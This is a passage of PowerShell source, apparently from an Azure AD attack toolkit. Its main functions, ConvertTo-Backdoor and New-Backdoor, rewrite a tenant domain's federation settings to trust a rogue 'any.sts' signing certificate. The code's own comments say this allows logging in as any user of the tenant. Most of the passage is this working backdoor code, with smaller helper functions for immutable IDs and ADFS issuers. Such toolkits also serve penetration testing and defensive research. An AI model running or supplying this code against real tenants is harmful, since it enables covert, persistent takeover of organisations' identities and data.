Start-Process msedge.exe -ArgumentList "-inprivate $("file:///$html")"
}
}
}
# Gets immutable id from AD user
function Get-ImmutableID
{
<#
.SYNOPSIS
Gets Immutable ID using user's AD object
.DESCRIPTION
Gets Immutable ID using user's AD object
.Parameter ADUser
Users AD object.
.Example
PS C:\>$user=Get-ADUser "myuser"
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$ADUser
)
Process
{
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
{
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
return
}
# Convert GUID to Base64
$guid=$ADUser.ObjectGUID.ToString()
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
return $ImmutableId
}
}
# Creates a backdoor to Azure AD by using an existing domain
function ConvertTo-Backdoor
{
<#
.SYNOPSIS
Converts a domain to a backdoor to Azure AD tenant.
.DESCRIPTION
Opens a backdoor to Azure AD tenant by altering the given domains authentication settings.
Allows logging in as any user of the tenant.
If the domain is managed, the certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
If the domain is already federated, the any.sts certificate will be added as NextSigningCertificate
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be used as a backdoor
.Parameter Create
If set, tries to create the domain
.Example
PS C:\>ConvertTo-AADIntBackdoor -DomainName company.myo365.site
IssuerUri Domain
--------- ------
http://any.sts/B231A11F company.myo365.site
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[switch]$Force
)
Process
{
# Unique ID
$UniqueID = '{0:X}' -f (Get-Date).GetHashCode()
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Set some variables
$domain = Get-Domain -AccessToken $AccessToken -DomainName $DomainName
$tenant_id = Get-TenantId -AccessToken $AccessToken
$LogOnOffUri ="https://any.sts/$UniqueID"
$IssuerUri = "http://any.sts/$UniqueID"
if($force)
{
$input = "yes"
}
else
{
$input = read-host "Are you sure to create backdoor with $DomainName`? Type YES to continue or CTRL+C to abort"
}
switch ($input) `
{
"yes" {
# Tries to create a new unverified domain
# Deprecated, doesn't work anymore
<#
if($Create)
{
New-Domain -AccessToken $AccessToken -Name $DomainName
# We need to wait a while for the domain to be created..
$seconds = 15
$done = (Get-Date).AddSeconds($seconds)
while($done -gt (Get-Date)) {
$secondsLeft = $done.Subtract((Get-Date)).TotalSeconds
$percent = ($seconds - $secondsLeft) / $seconds * 100
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining $secondsLeft -PercentComplete $percent
[System.Threading.Thread]::Sleep(500)
}
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining 0 -Completed
}
#>
if($domain.Authentication -eq "Federated")
{
Write-Verbose "Domain $DomainName is Federated, modifying NextTokenSigningCertificate"
$federationSettings = Get-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName
if(($federationSettings.SigningCertificate -eq $any_sts) -or ($federationSettings.NextSigningCertificate -eq $any_sts))
{
Throw "Domain $DomainName is already a back door"
}
$PassiveLogOnUri = $federationSettings.PassiveLogOnUri
$LogOffUri = $federationSettings.LogOffUri
$IssuerUri = $federationSettings.IssuerUri
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName -IssuerUri $IssuerUri -LogOffUri $LogOffUri -PassiveLogOnUri $PassiveLogOnUri -SigningCertificate $federationSettings.SigningCertificate -NextSigningCertificate $any_sts
}
else
{
Write-Verbose "Domain $DomainName is Mederated, converting to Federated"
Set-DomainAuthentication -Authentication Federated -AccessToken $AccessToken -DomainName $DomainName -LogOffUri $LogOnOffUri -PassiveLogOnUri $LogOnOffUri -IssuerUri $IssuerUri -SigningCertificate $any_sts -SupportsMfa $true
}
Return New-Object PSObject -Property @{"Domain"=$DomainName; "IssuerUri" = $IssuerUri}
}
default {
write-host "Aborted" -ForegroundColor Red
}
}
}
}
# Creates a backdoor to Azure AD
# 03.02.2019
# Deprecated, doesn't work anymore
function New-Backdoor
{
<#
.SYNOPSIS
Creates a new backdoor to Azure AD tenant.
.DESCRIPTION
Creates a new backdoor to Azure tenant by creating a new domain and by altering its authentication settings.
Allows logging in as any user of the tenant.
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
Utilises a bug in Azure AD, which allows converting unverified domains to federated.
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be created to be used as a backdoor. If not given, uses default.onmicrosoft.com.
.Example
PS C:\>New-AADIntBackdoor -DomainName backdoor.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$DomainName="microsoft.com"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
ConvertTo-Backdoor -AccessToken $AccessToken -DomainName $DomainName -Create
}
}
# Parses the issuer from the given certificate
# Nov 11th 2023
function Get-ADFSIssuer
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
# Issuer not provided, try to parse from the certificate subject
if([string]::IsNullOrEmpty($issuer) -and $Certificate.Subject.StartsWith("CN=ADFS Signing"))
{
Write-Verbose "Issuer not provided, trying to parse from certificate"
try
{
$server = $Certificate.Subject.Split("-")[1].TrimStart(" ")
$Issuer = "http://$server/adfs/services/trust"
}
catch{}
}
if([string]::IsNullOrEmpty($issuer))
{
throw "Issuer must be provided!"
}
return $Issuer
}
}